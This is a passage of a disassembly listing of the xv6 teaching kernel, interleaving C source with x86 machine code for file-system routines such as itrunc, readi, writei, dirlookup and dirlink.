brelse(bp);
80101be8: 8b 45 f0 mov -0x10(%ebp),%eax
80101beb: 89 04 24 mov %eax,(%esp)
80101bee: e8 24 e6 ff ff call 80100217 <brelse>
return addr;
80101bf3: 8b 45 f4 mov -0xc(%ebp),%eax
80101bf6: eb 0c jmp 80101c04 <bmap+0x107>
}
panic("bmap: out of range");
80101bf8: c7 04 24 b2 87 10 80 movl $0x801087b2,(%esp)
80101bff: e8 36 e9 ff ff call 8010053a <panic>
}
80101c04: 83 c4 24 add $0x24,%esp
80101c07: 5b pop %ebx
80101c08: 5d pop %ebp
80101c09: c3 ret
80101c0a <itrunc>:
// to it (no directory entries referring to it)
// and has no in-memory reference to it (is
// not an open file or current directory).
static void
itrunc(struct inode *ip)
{
80101c0a: 55 push %ebp
80101c0b: 89 e5 mov %esp,%ebp
80101c0d: 83 ec 28 sub $0x28,%esp
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101c10: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101c17: eb 44 jmp 80101c5d <itrunc+0x53>
if(ip->addrs[i]){
80101c19: 8b 45 08 mov 0x8(%ebp),%eax
80101c1c: 8b 55 f4 mov -0xc(%ebp),%edx
80101c1f: 83 c2 04 add $0x4,%edx
80101c22: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
80101c26: 85 c0 test %eax,%eax
80101c28: 74 2f je 80101c59 <itrunc+0x4f>
bfree(ip->dev, ip->addrs[i]);
80101c2a: 8b 45 08 mov 0x8(%ebp),%eax
80101c2d: 8b 55 f4 mov -0xc(%ebp),%edx
80101c30: 83 c2 04 add $0x4,%edx
80101c33: 8b 54 90 0c mov 0xc(%eax,%edx,4),%edx
80101c37: 8b 45 08 mov 0x8(%ebp),%eax
80101c3a: 8b 00 mov (%eax),%eax
80101c3c: 89 54 24 04 mov %edx,0x4(%esp)
80101c40: 89 04 24 mov %eax,(%esp)
80101c43: e8 8e f8 ff ff call 801014d6 <bfree>
ip->addrs[i] = 0;
80101c48: 8b 45 08 mov 0x8(%ebp),%eax
80101c4b: 8b 55 f4 mov -0xc(%ebp),%edx
80101c4e: 83 c2 04 add $0x4,%edx
80101c51: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4)
80101c58: 00
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101c59: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80101c5d: 83 7d f4 0b cmpl $0xb,-0xc(%ebp)
80101c61: 7e b6 jle 80101c19 <itrunc+0xf>
bfree(ip->dev, ip->addrs[i]);
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
80101c63: 8b 45 08 mov 0x8(%ebp),%eax
80101c66: 8b 40 4c mov 0x4c(%eax),%eax
80101c69: 85 c0 test %eax,%eax
80101c6b: 0f 84 9b 00 00 00 je 80101d0c <itrunc+0x102>
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101c71: 8b 45 08 mov 0x8(%ebp),%eax
80101c74: 8b 50 4c mov 0x4c(%eax),%edx
80101c77: 8b 45 08 mov 0x8(%ebp),%eax
80101c7a: 8b 00 mov (%eax),%eax
80101c7c: 89 54 24 04 mov %edx,0x4(%esp)
80101c80: 89 04 24 mov %eax,(%esp)
80101c83: e8 1e e5 ff ff call 801001a6 <bread>
80101c88: 89 45 ec mov %eax,-0x14(%ebp)
a = (uint*)bp->data;
80101c8b: 8b 45 ec mov -0x14(%ebp),%eax
80101c8e: 83 c0 18 add $0x18,%eax
80101c91: 89 45 e8 mov %eax,-0x18(%ebp)
for(j = 0; j < NINDIRECT; j++){
80101c94: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80101c9b: eb 3b jmp 80101cd8 <itrunc+0xce>
if(a[j])
80101c9d: 8b 45 f0 mov -0x10(%ebp),%eax
80101ca0: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101ca7: 8b 45 e8 mov -0x18(%ebp),%eax
80101caa: 01 d0 add %edx,%eax
80101cac: 8b 00 mov (%eax),%eax
80101cae: 85 c0 test %eax,%eax
80101cb0: 74 22 je 80101cd4 <itrunc+0xca>
bfree(ip->dev, a[j]);
80101cb2: 8b 45 f0 mov -0x10(%ebp),%eax
80101cb5: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101cbc: 8b 45 e8 mov -0x18(%ebp),%eax
80101cbf: 01 d0 add %edx,%eax
80101cc1: 8b 10 mov (%eax),%edx
80101cc3: 8b 45 08 mov 0x8(%ebp),%eax
80101cc6: 8b 00 mov (%eax),%eax
80101cc8: 89 54 24 04 mov %edx,0x4(%esp)
80101ccc: 89 04 24 mov %eax,(%esp)
80101ccf: e8 02 f8 ff ff call 801014d6 <bfree>
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
80101cd4: 83 45 f0 01 addl $0x1,-0x10(%ebp)
80101cd8: 8b 45 f0 mov -0x10(%ebp),%eax
80101cdb: 83 f8 7f cmp $0x7f,%eax
80101cde: 76 bd jbe 80101c9d <itrunc+0x93>
if(a[j])
bfree(ip->dev, a[j]);
}
brelse(bp);
80101ce0: 8b 45 ec mov -0x14(%ebp),%eax
80101ce3: 89 04 24 mov %eax,(%esp)
80101ce6: e8 2c e5 ff ff call 80100217 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
80101ceb: 8b 45 08 mov 0x8(%ebp),%eax
80101cee: 8b 50 4c mov 0x4c(%eax),%edx
80101cf1: 8b 45 08 mov 0x8(%ebp),%eax
80101cf4: 8b 00 mov (%eax),%eax
80101cf6: 89 54 24 04 mov %edx,0x4(%esp)
80101cfa: 89 04 24 mov %eax,(%esp)
80101cfd: e8 d4 f7 ff ff call 801014d6 <bfree>
ip->addrs[NDIRECT] = 0;
80101d02: 8b 45 08 mov 0x8(%ebp),%eax
80101d05: c7 40 4c 00 00 00 00 movl $0x0,0x4c(%eax)
}
ip->size = 0;
80101d0c: 8b 45 08 mov 0x8(%ebp),%eax
80101d0f: c7 40 18 00 00 00 00 movl $0x0,0x18(%eax)
iupdate(ip);
80101d16: 8b 45 08 mov 0x8(%ebp),%eax
80101d19: 89 04 24 mov %eax,(%esp)
80101d1c: e8 7e f9 ff ff call 8010169f <iupdate>
}
80101d21: c9 leave
80101d22: c3 ret
80101d23 <stati>:
// Copy stat information from inode.
void
stati(struct inode *ip, struct stat *st)
{
80101d23: 55 push %ebp
80101d24: 89 e5 mov %esp,%ebp
st->dev = ip->dev;
80101d26: 8b 45 08 mov 0x8(%ebp),%eax
80101d29: 8b 00 mov (%eax),%eax
80101d2b: 89 c2 mov %eax,%edx
80101d2d: 8b 45 0c mov 0xc(%ebp),%eax
80101d30: 89 50 04 mov %edx,0x4(%eax)
st->ino = ip->inum;
80101d33: 8b 45 08 mov 0x8(%ebp),%eax
80101d36: 8b 50 04 mov 0x4(%eax),%edx
80101d39: 8b 45 0c mov 0xc(%ebp),%eax
80101d3c: 89 50 08 mov %edx,0x8(%eax)
st->type = ip->type;
80101d3f: 8b 45 08 mov 0x8(%ebp),%eax
80101d42: 0f b7 50 10 movzwl 0x10(%eax),%edx
80101d46: 8b 45 0c mov 0xc(%ebp),%eax
80101d49: 66 89 10 mov %dx,(%eax)
st->nlink = ip->nlink;
80101d4c: 8b 45 08 mov 0x8(%ebp),%eax
80101d4f: 0f b7 50 16 movzwl 0x16(%eax),%edx
80101d53: 8b 45 0c mov 0xc(%ebp),%eax
80101d56: 66 89 50 0c mov %dx,0xc(%eax)
st->size = ip->size;
80101d5a: 8b 45 08 mov 0x8(%ebp),%eax
80101d5d: 8b 50 18 mov 0x18(%eax),%edx
80101d60: 8b 45 0c mov 0xc(%ebp),%eax
80101d63: 89 50 10 mov %edx,0x10(%eax)
}
80101d66: 5d pop %ebp
80101d67: c3 ret
80101d68 <readi>:
//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101d68: 55 push %ebp
80101d69: 89 e5 mov %esp,%ebp
80101d6b: 83 ec 28 sub $0x28,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101d6e: 8b 45 08 mov 0x8(%ebp),%eax
80101d71: 0f b7 40 10 movzwl 0x10(%eax),%eax
80101d75: 66 83 f8 03 cmp $0x3,%ax
80101d79: 75 60 jne 80101ddb <readi+0x73>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101d7b: 8b 45 08 mov 0x8(%ebp),%eax
80101d7e: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d82: 66 85 c0 test %ax,%ax
80101d85: 78 20 js 80101da7 <readi+0x3f>
80101d87: 8b 45 08 mov 0x8(%ebp),%eax
80101d8a: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d8e: 66 83 f8 09 cmp $0x9,%ax
80101d92: 7f 13 jg 80101da7 <readi+0x3f>
80101d94: 8b 45 08 mov 0x8(%ebp),%eax
80101d97: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d9b: 98 cwtl
80101d9c: 8b 04 c5 e0 11 11 80 mov -0x7feeee20(,%eax,8),%eax
80101da3: 85 c0 test %eax,%eax
80101da5: 75 0a jne 80101db1 <readi+0x49>
return -1;
80101da7: b8 ff ff ff ff mov $0xffffffff,%eax
80101dac: e9 19 01 00 00 jmp 80101eca <readi+0x162>
return devsw[ip->major].read(ip, dst, n);
80101db1: 8b 45 08 mov 0x8(%ebp),%eax
80101db4: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101db8: 98 cwtl
80101db9: 8b 04 c5 e0 11 11 80 mov -0x7feeee20(,%eax,8),%eax
80101dc0: 8b 55 14 mov 0x14(%ebp),%edx
80101dc3: 89 54 24 08 mov %edx,0x8(%esp)
80101dc7: 8b 55 0c mov 0xc(%ebp),%edx
80101dca: 89 54 24 04 mov %edx,0x4(%esp)
80101dce: 8b 55 08 mov 0x8(%ebp),%edx
80101dd1: 89 14 24 mov %edx,(%esp)
80101dd4: ff d0 call *%eax
80101dd6: e9 ef 00 00 00 jmp 80101eca <readi+0x162>
}
if(off > ip->size || off + n < off)
80101ddb: 8b 45 08 mov 0x8(%ebp),%eax
80101dde: 8b 40 18 mov 0x18(%eax),%eax
80101de1: 3b 45 10 cmp 0x10(%ebp),%eax
80101de4: 72 0d jb 80101df3 <readi+0x8b>
80101de6: 8b 45 14 mov 0x14(%ebp),%eax
80101de9: 8b 55 10 mov 0x10(%ebp),%edx
80101dec: 01 d0 add %edx,%eax
80101dee: 3b 45 10 cmp 0x10(%ebp),%eax
80101df1: 73 0a jae 80101dfd <readi+0x95>
return -1;
80101df3: b8 ff ff ff ff mov $0xffffffff,%eax
80101df8: e9 cd 00 00 00 jmp 80101eca <readi+0x162>
if(off + n > ip->size)
80101dfd: 8b 45 14 mov 0x14(%ebp),%eax
80101e00: 8b 55 10 mov 0x10(%ebp),%edx
80101e03: 01 c2 add %eax,%edx
80101e05: 8b 45 08 mov 0x8(%ebp),%eax
80101e08: 8b 40 18 mov 0x18(%eax),%eax
80101e0b: 39 c2 cmp %eax,%edx
80101e0d: 76 0c jbe 80101e1b <readi+0xb3>
n = ip->size - off;
80101e0f: 8b 45 08 mov 0x8(%ebp),%eax
80101e12: 8b 40 18 mov 0x18(%eax),%eax
80101e15: 2b 45 10 sub 0x10(%ebp),%eax
80101e18: 89 45 14 mov %eax,0x14(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101e1b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101e22: e9 94 00 00 00 jmp 80101ebb <readi+0x153>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101e27: 8b 45 10 mov 0x10(%ebp),%eax
80101e2a: c1 e8 09 shr $0x9,%eax
80101e2d: 89 44 24 04 mov %eax,0x4(%esp)
80101e31: 8b 45 08 mov 0x8(%ebp),%eax
80101e34: 89 04 24 mov %eax,(%esp)
80101e37: e8 c1 fc ff ff call 80101afd <bmap>
80101e3c: 8b 55 08 mov 0x8(%ebp),%edx
80101e3f: 8b 12 mov (%edx),%edx
80101e41: 89 44 24 04 mov %eax,0x4(%esp)
80101e45: 89 14 24 mov %edx,(%esp)
80101e48: e8 59 e3 ff ff call 801001a6 <bread>
80101e4d: 89 45 f0 mov %eax,-0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101e50: 8b 45 10 mov 0x10(%ebp),%eax
80101e53: 25 ff 01 00 00 and $0x1ff,%eax
80101e58: 89 c2 mov %eax,%edx
80101e5a: b8 00 02 00 00 mov $0x200,%eax
80101e5f: 29 d0 sub %edx,%eax
80101e61: 89 c2 mov %eax,%edx
80101e63: 8b 45 f4 mov -0xc(%ebp),%eax
80101e66: 8b 4d 14 mov 0x14(%ebp),%ecx
80101e69: 29 c1 sub %eax,%ecx
80101e6b: 89 c8 mov %ecx,%eax
80101e6d: 39 c2 cmp %eax,%edx
80101e6f: 0f 46 c2 cmovbe %edx,%eax
80101e72: 89 45 ec mov %eax,-0x14(%ebp)
memmove(dst, bp->data + off%BSIZE, m);
80101e75: 8b 45 10 mov 0x10(%ebp),%eax
80101e78: 25 ff 01 00 00 and $0x1ff,%eax
80101e7d: 8d 50 10 lea 0x10(%eax),%edx
80101e80: 8b 45 f0 mov -0x10(%ebp),%eax
80101e83: 01 d0 add %edx,%eax
80101e85: 8d 50 08 lea 0x8(%eax),%edx
80101e88: 8b 45 ec mov -0x14(%ebp),%eax
80101e8b: 89 44 24 08 mov %eax,0x8(%esp)
80101e8f: 89 54 24 04 mov %edx,0x4(%esp)
80101e93: 8b 45 0c mov 0xc(%ebp),%eax
80101e96: 89 04 24 mov %eax,(%esp)
80101e99: e8 96 32 00 00 call 80105134 <memmove>
brelse(bp);
80101e9e: 8b 45 f0 mov -0x10(%ebp),%eax
80101ea1: 89 04 24 mov %eax,(%esp)
80101ea4: e8 6e e3 ff ff call 80100217 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101ea9: 8b 45 ec mov -0x14(%ebp),%eax
80101eac: 01 45 f4 add %eax,-0xc(%ebp)
80101eaf: 8b 45 ec mov -0x14(%ebp),%eax
80101eb2: 01 45 10 add %eax,0x10(%ebp)
80101eb5: 8b 45 ec mov -0x14(%ebp),%eax
80101eb8: 01 45 0c add %eax,0xc(%ebp)
80101ebb: 8b 45 f4 mov -0xc(%ebp),%eax
80101ebe: 3b 45 14 cmp 0x14(%ebp),%eax
80101ec1: 0f 82 60 ff ff ff jb 80101e27 <readi+0xbf>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
80101ec7: 8b 45 14 mov 0x14(%ebp),%eax
}
80101eca: c9 leave
80101ecb: c3 ret
80101ecc <writei>:
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101ecc: 55 push %ebp
80101ecd: 89 e5 mov %esp,%ebp
80101ecf: 83 ec 28 sub $0x28,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101ed2: 8b 45 08 mov 0x8(%ebp),%eax
80101ed5: 0f b7 40 10 movzwl 0x10(%eax),%eax
80101ed9: 66 83 f8 03 cmp $0x3,%ax
80101edd: 75 60 jne 80101f3f <writei+0x73>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101edf: 8b 45 08 mov 0x8(%ebp),%eax
80101ee2: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101ee6: 66 85 c0 test %ax,%ax
80101ee9: 78 20 js 80101f0b <writei+0x3f>
80101eeb: 8b 45 08 mov 0x8(%ebp),%eax
80101eee: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101ef2: 66 83 f8 09 cmp $0x9,%ax
80101ef6: 7f 13 jg 80101f0b <writei+0x3f>
80101ef8: 8b 45 08 mov 0x8(%ebp),%eax
80101efb: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101eff: 98 cwtl
80101f00: 8b 04 c5 e4 11 11 80 mov -0x7feeee1c(,%eax,8),%eax
80101f07: 85 c0 test %eax,%eax
80101f09: 75 0a jne 80101f15 <writei+0x49>
return -1;
80101f0b: b8 ff ff ff ff mov $0xffffffff,%eax
80101f10: e9 44 01 00 00 jmp 80102059 <writei+0x18d>
return devsw[ip->major].write(ip, src, n);
80101f15: 8b 45 08 mov 0x8(%ebp),%eax
80101f18: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101f1c: 98 cwtl
80101f1d: 8b 04 c5 e4 11 11 80 mov -0x7feeee1c(,%eax,8),%eax
80101f24: 8b 55 14 mov 0x14(%ebp),%edx
80101f27: 89 54 24 08 mov %edx,0x8(%esp)
80101f2b: 8b 55 0c mov 0xc(%ebp),%edx
80101f2e: 89 54 24 04 mov %edx,0x4(%esp)
80101f32: 8b 55 08 mov 0x8(%ebp),%edx
80101f35: 89 14 24 mov %edx,(%esp)
80101f38: ff d0 call *%eax
80101f3a: e9 1a 01 00 00 jmp 80102059 <writei+0x18d>
}
if(off > ip->size || off + n < off)
80101f3f: 8b 45 08 mov 0x8(%ebp),%eax
80101f42: 8b 40 18 mov 0x18(%eax),%eax
80101f45: 3b 45 10 cmp 0x10(%ebp),%eax
80101f48: 72 0d jb 80101f57 <writei+0x8b>
80101f4a: 8b 45 14 mov 0x14(%ebp),%eax
80101f4d: 8b 55 10 mov 0x10(%ebp),%edx
80101f50: 01 d0 add %edx,%eax
80101f52: 3b 45 10 cmp 0x10(%ebp),%eax
80101f55: 73 0a jae 80101f61 <writei+0x95>
return -1;
80101f57: b8 ff ff ff ff mov $0xffffffff,%eax
80101f5c: e9 f8 00 00 00 jmp 80102059 <writei+0x18d>
if(off + n > MAXFILE*BSIZE)
80101f61: 8b 45 14 mov 0x14(%ebp),%eax
80101f64: 8b 55 10 mov 0x10(%ebp),%edx
80101f67: 01 d0 add %edx,%eax
80101f69: 3d 00 18 01 00 cmp $0x11800,%eax
80101f6e: 76 0a jbe 80101f7a <writei+0xae>
return -1;
80101f70: b8 ff ff ff ff mov $0xffffffff,%eax
80101f75: e9 df 00 00 00 jmp 80102059 <writei+0x18d>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101f7a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101f81: e9 9f 00 00 00 jmp 80102025 <writei+0x159>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101f86: 8b 45 10 mov 0x10(%ebp),%eax
80101f89: c1 e8 09 shr $0x9,%eax
80101f8c: 89 44 24 04 mov %eax,0x4(%esp)
80101f90: 8b 45 08 mov 0x8(%ebp),%eax
80101f93: 89 04 24 mov %eax,(%esp)
80101f96: e8 62 fb ff ff call 80101afd <bmap>
80101f9b: 8b 55 08 mov 0x8(%ebp),%edx
80101f9e: 8b 12 mov (%edx),%edx
80101fa0: 89 44 24 04 mov %eax,0x4(%esp)
80101fa4: 89 14 24 mov %edx,(%esp)
80101fa7: e8 fa e1 ff ff call 801001a6 <bread>
80101fac: 89 45 f0 mov %eax,-0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101faf: 8b 45 10 mov 0x10(%ebp),%eax
80101fb2: 25 ff 01 00 00 and $0x1ff,%eax
80101fb7: 89 c2 mov %eax,%edx
80101fb9: b8 00 02 00 00 mov $0x200,%eax
80101fbe: 29 d0 sub %edx,%eax
80101fc0: 89 c2 mov %eax,%edx
80101fc2: 8b 45 f4 mov -0xc(%ebp),%eax
80101fc5: 8b 4d 14 mov 0x14(%ebp),%ecx
80101fc8: 29 c1 sub %eax,%ecx
80101fca: 89 c8 mov %ecx,%eax
80101fcc: 39 c2 cmp %eax,%edx
80101fce: 0f 46 c2 cmovbe %edx,%eax
80101fd1: 89 45 ec mov %eax,-0x14(%ebp)
memmove(bp->data + off%BSIZE, src, m);
80101fd4: 8b 45 10 mov 0x10(%ebp),%eax
80101fd7: 25 ff 01 00 00 and $0x1ff,%eax
80101fdc: 8d 50 10 lea 0x10(%eax),%edx
80101fdf: 8b 45 f0 mov -0x10(%ebp),%eax
80101fe2: 01 d0 add %edx,%eax
80101fe4: 8d 50 08 lea 0x8(%eax),%edx
80101fe7: 8b 45 ec mov -0x14(%ebp),%eax
80101fea: 89 44 24 08 mov %eax,0x8(%esp)
80101fee: 8b 45 0c mov 0xc(%ebp),%eax
80101ff1: 89 44 24 04 mov %eax,0x4(%esp)
80101ff5: 89 14 24 mov %edx,(%esp)
80101ff8: e8 37 31 00 00 call 80105134 <memmove>
log_write(bp);
80101ffd: 8b 45 f0 mov -0x10(%ebp),%eax
80102000: 89 04 24 mov %eax,(%esp)
80102003: e8 13 16 00 00 call 8010361b <log_write>
brelse(bp);
80102008: 8b 45 f0 mov -0x10(%ebp),%eax
8010200b: 89 04 24 mov %eax,(%esp)
8010200e: e8 04 e2 ff ff call 80100217 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80102013: 8b 45 ec mov -0x14(%ebp),%eax
80102016: 01 45 f4 add %eax,-0xc(%ebp)
80102019: 8b 45 ec mov -0x14(%ebp),%eax
8010201c: 01 45 10 add %eax,0x10(%ebp)
8010201f: 8b 45 ec mov -0x14(%ebp),%eax
80102022: 01 45 0c add %eax,0xc(%ebp)
80102025: 8b 45 f4 mov -0xc(%ebp),%eax
80102028: 3b 45 14 cmp 0x14(%ebp),%eax
8010202b: 0f 82 55 ff ff ff jb 80101f86 <writei+0xba>
memmove(bp->data + off%BSIZE, src, m);
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
80102031: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
80102035: 74 1f je 80102056 <writei+0x18a>
80102037: 8b 45 08 mov 0x8(%ebp),%eax
8010203a: 8b 40 18 mov 0x18(%eax),%eax
8010203d: 3b 45 10 cmp 0x10(%ebp),%eax
80102040: 73 14 jae 80102056 <writei+0x18a>
ip->size = off;
80102042: 8b 45 08 mov 0x8(%ebp),%eax
80102045: 8b 55 10 mov 0x10(%ebp),%edx
80102048: 89 50 18 mov %edx,0x18(%eax)
iupdate(ip);
8010204b: 8b 45 08 mov 0x8(%ebp),%eax
8010204e: 89 04 24 mov %eax,(%esp)
80102051: e8 49 f6 ff ff call 8010169f <iupdate>
}
return n;
80102056: 8b 45 14 mov 0x14(%ebp),%eax
}
80102059: c9 leave
8010205a: c3 ret
8010205b <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
8010205b: 55 push %ebp
8010205c: 89 e5 mov %esp,%ebp
8010205e: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
80102061: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80102068: 00
80102069: 8b 45 0c mov 0xc(%ebp),%eax
8010206c: 89 44 24 04 mov %eax,0x4(%esp)
80102070: 8b 45 08 mov 0x8(%ebp),%eax
80102073: 89 04 24 mov %eax,(%esp)
80102076: e8 5c 31 00 00 call 801051d7 <strncmp>
}
8010207b: c9 leave
8010207c: c3 ret
8010207d <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
8010207d: 55 push %ebp
8010207e: 89 e5 mov %esp,%ebp
80102080: 83 ec 38 sub $0x38,%esp
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80102083: 8b 45 08 mov 0x8(%ebp),%eax
80102086: 0f b7 40 10 movzwl 0x10(%eax),%eax
8010208a: 66 83 f8 01 cmp $0x1,%ax
8010208e: 74 0c je 8010209c <dirlookup+0x1f>
panic("dirlookup not DIR");
80102090: c7 04 24 c5 87 10 80 movl $0x801087c5,(%esp)
80102097: e8 9e e4 ff ff call 8010053a <panic>
for(off = 0; off < dp->size; off += sizeof(de)){
8010209c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801020a3: e9 88 00 00 00 jmp 80102130 <dirlookup+0xb3>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801020a8: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
801020af: 00
801020b0: 8b 45 f4 mov -0xc(%ebp),%eax
801020b3: 89 44 24 08 mov %eax,0x8(%esp)
801020b7: 8d 45 e0 lea -0x20(%ebp),%eax
801020ba: 89 44 24 04 mov %eax,0x4(%esp)
801020be: 8b 45 08 mov 0x8(%ebp),%eax
801020c1: 89 04 24 mov %eax,(%esp)
801020c4: e8 9f fc ff ff call 80101d68 <readi>
801020c9: 83 f8 10 cmp $0x10,%eax
801020cc: 74 0c je 801020da <dirlookup+0x5d>
panic("dirlink read");
801020ce: c7 04 24 d7 87 10 80 movl $0x801087d7,(%esp)
801020d5: e8 60 e4 ff ff call 8010053a <panic>
if(de.inum == 0)
801020da: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
801020de: 66 85 c0 test %ax,%ax
801020e1: 75 02 jne 801020e5 <dirlookup+0x68>
continue;
801020e3: eb 47 jmp 8010212c <dirlookup+0xaf>
if(namecmp(name, de.name) == 0){
801020e5: 8d 45 e0 lea -0x20(%ebp),%eax
801020e8: 83 c0 02 add $0x2,%eax
801020eb: 89 44 24 04 mov %eax,0x4(%esp)
801020ef: 8b 45 0c mov 0xc(%ebp),%eax
801020f2: 89 04 24 mov %eax,(%esp)
801020f5: e8 61 ff ff ff call 8010205b <namecmp>
801020fa: 85 c0 test %eax,%eax
801020fc: 75 2e jne 8010212c <dirlookup+0xaf>
// entry matches path element
if(poff)
801020fe: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80102102: 74 08 je 8010210c <dirlookup+0x8f>
*poff = off;
80102104: 8b 45 10 mov 0x10(%ebp),%eax
80102107: 8b 55 f4 mov -0xc(%ebp),%edx
8010210a: 89 10 mov %edx,(%eax)
inum = de.inum;
8010210c: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
80102110: 0f b7 c0 movzwl %ax,%eax
80102113: 89 45 f0 mov %eax,-0x10(%ebp)
return iget(dp->dev, inum);
80102116: 8b 45 08 mov 0x8(%ebp),%eax
80102119: 8b 00 mov (%eax),%eax
8010211b: 8b 55 f0 mov -0x10(%ebp),%edx
8010211e: 89 54 24 04 mov %edx,0x4(%esp)
80102122: 89 04 24 mov %eax,(%esp)
80102125: e8 2d f6 ff ff call 80101757 <iget>
8010212a: eb 18 jmp 80102144 <dirlookup+0xc7>
struct dirent de;
if(dp->type != T_DIR)
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
8010212c: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80102130: 8b 45 08 mov 0x8(%ebp),%eax
80102133: 8b 40 18 mov 0x18(%eax),%eax
80102136: 3b 45 f4 cmp -0xc(%ebp),%eax
80102139: 0f 87 69 ff ff ff ja 801020a8 <dirlookup+0x2b>
inum = de.inum;
return iget(dp->dev, inum);
}
}
return 0;
8010213f: b8 00 00 00 00 mov $0x0,%eax
}
80102144: c9 leave
80102145: c3 ret
80102146 <dirlink>:
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
80102146: 55 push %ebp
80102147: 89 e5 mov %esp,%ebp
80102149: 83 ec 38 sub $0x38,%esp
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
8010214c: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80102153: 00
80102154: 8b 45 0c mov 0xc(%ebp),%eax
80102157: 89 44 24 04 mov %eax,0x4(%esp)
8010215b: 8b 45 08 mov 0x8(%ebp),%eax
8010215e: 89 04 24 mov %eax,(%esp)
80102161: e8 17 ff ff ff call 8010207d <dirlookup>
80102166: 89 45 f0 mov %eax,-0x10(%ebp)
80102169: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010216d: 74 15 je 80102184 <dirlink+0x3e>
iput(ip);
8010216f: 8b 45 f0 mov -0x10(%ebp),%eax
80102172: 89 04 24 mov %eax,(%esp)
80102175: e8 94 f8 ff ff call 80101a0e <iput>
return -1;
8010217a: b8 ff ff ff ff mov $0xffffffff,%eax
8010217f: e9 b7 00 00 00 jmp 8010223b <dirlink+0xf5>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
80102184: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010218b: eb 46 jmp 801021d3 <dirlink+0x8d>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010218d: 8b 45 f4 mov -0xc(%ebp),%eax
80102190: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80102197: 00
80102198: 89 44 24 08 mov %eax,0x8(%esp)
8010219c: 8d 45 e0 lea -0x20(%ebp),%eax
8010219f: 89 44 24 04 mov %eax,0x4(%esp)
801021a3: 8b 45 08 mov 0x8(%ebp),%eax
801021a6: 89 04 24 mov %eax,(%esp)
801021a9: e8 ba fb ff ff call 80101d68 <readi>
801021ae: 83 f8 10 cmp $0x10,%eax
801021b1: 74 0c je 801021bf <dirlink+0x79>
panic("dirlink read");
801021b3: c7 04 24 d7 87 10 80 movl $0x801087d7,(%esp)
801021ba: e8 7b e3 ff ff call 8010053a <panic>
if(de.inum == 0)
801021bf: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
801021c3: 66 85 c0 test %ax,%ax
801021c6: 75 02 jne 801021ca <dirlink+0x84>
break;
